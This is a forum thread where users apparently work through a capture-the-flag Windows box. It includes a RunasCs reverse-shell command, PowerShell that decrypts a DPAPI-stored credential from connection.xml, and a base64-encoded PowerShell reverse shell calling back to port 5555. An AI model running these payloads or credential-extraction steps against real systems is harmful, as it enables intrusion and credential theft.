[xxxbfacc]

Decrypting password is the way to go. Just using creds to start a session gets the wrong kind of session. Need things to be a bit more interactive if you want to debug. Though somehow I did get it to work without decrypting the password earlier…

[query1338]

why is my runas command killed before I can get a shell?

[asdfmonster]

I am still stuck on decrypting alaanding password. Any tips? I tried converting base64/hex etc, john and hashcat. Not sure what to do with this.

[Cmbrlnd]

I am stuck in the ysoserial exe , I don’t know how to run it in parrotOS.

Me too hahaha, can't get it working in Linux

[fl00d777]

I got alaading's password from the file, but not able to use it to run a command as him, I've tried RunasCs.exe with "--bypass-uac", but I can't get it to work.

With this:
.\RunasCs.exe alaading f8gQ********** cmd.exe -r 10.10.X.X:5555 --bypass-uac
I can get it to reach out to my listener but connection drops immediately.

Can anyone share how they were able to do it?! plz!

[asdfmonster]

I am still stuck on decrypting alaanding password. Any tips? I tried converting base64/hex etc, john and hashcat. Not sure what to do with this.

https://book.hacktricks.xyz/windows-hard...web-config

edit: nevermind I figured out where to go from what you mentioned

[r3d53v3n]

That part was a little of a pain. Hope this helps. Trying to get to root but having some difficulties. Could use some help with that

https://jeffhicks.substack.com/p/getting...powershell - GET THE PASS

------------------------ GETTING CRED

PS C:\Users\sfitz\Documents> get-job -State running | select -skip 1 | stop-job | remove-job
PS C:\Users\sfitz\Documents> $cred = Import-Clixml connection.xml
PS C:\Users\sfitz\Documents> $cred

UserName Password
-------- --------
alaading System.Security.SecureString


PS C:\Users\sfitz\Documents> $cred.GetNetworkCredential().password
PASS

---------------------------------GETTING SHELL AS USER

SHELL PORT - 5555
PS C:\Users\sfitz\Documents> $username = 'alaading'
PS C:\Users\sfitz\Documents> $password = 'PASS'
PS C:\Users\sfitz\Documents> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
PS C:\Users\sfitz\Documents> $credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)
PS C:\Users\sfitz\Documents> Invoke-Command -ComputerName localhost -Credential $credential -ScriptBlock {powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA5ADgAIgAsADUANQA1ADUAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA}

[fl00d777]

I am still stuck on decrypting alaanding password. Any tips? I tried converting base64/hex etc, john and hashcat. Not sure what to do with this.

https://book.hacktricks.xyz/windows-hard...web-config

I already have the shell into the site and logged in as sfitz, looking through the multiple web.config files doesn't reveal anything about decrypting alaanding pass, from what I saw. Did I miss something, is it in plaintext?

The password is encoded with DPAPI. You can recover the plaintext with a few simple powershell commands. Here's an article that should help you. ^_^
https://mcpmag.com/articles/2017/07/20/s...shell.aspx

[chillywilly]

$credential = Import-Clixml -Path "c:\users\sfitz\documents\connection.xml"
echo ($credential.UserName + ":" + $credential.GetNetworkCredential().Password)

[shitblais]

```
Privilege Name Description State
============================= ============================== ========
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```
any hint ?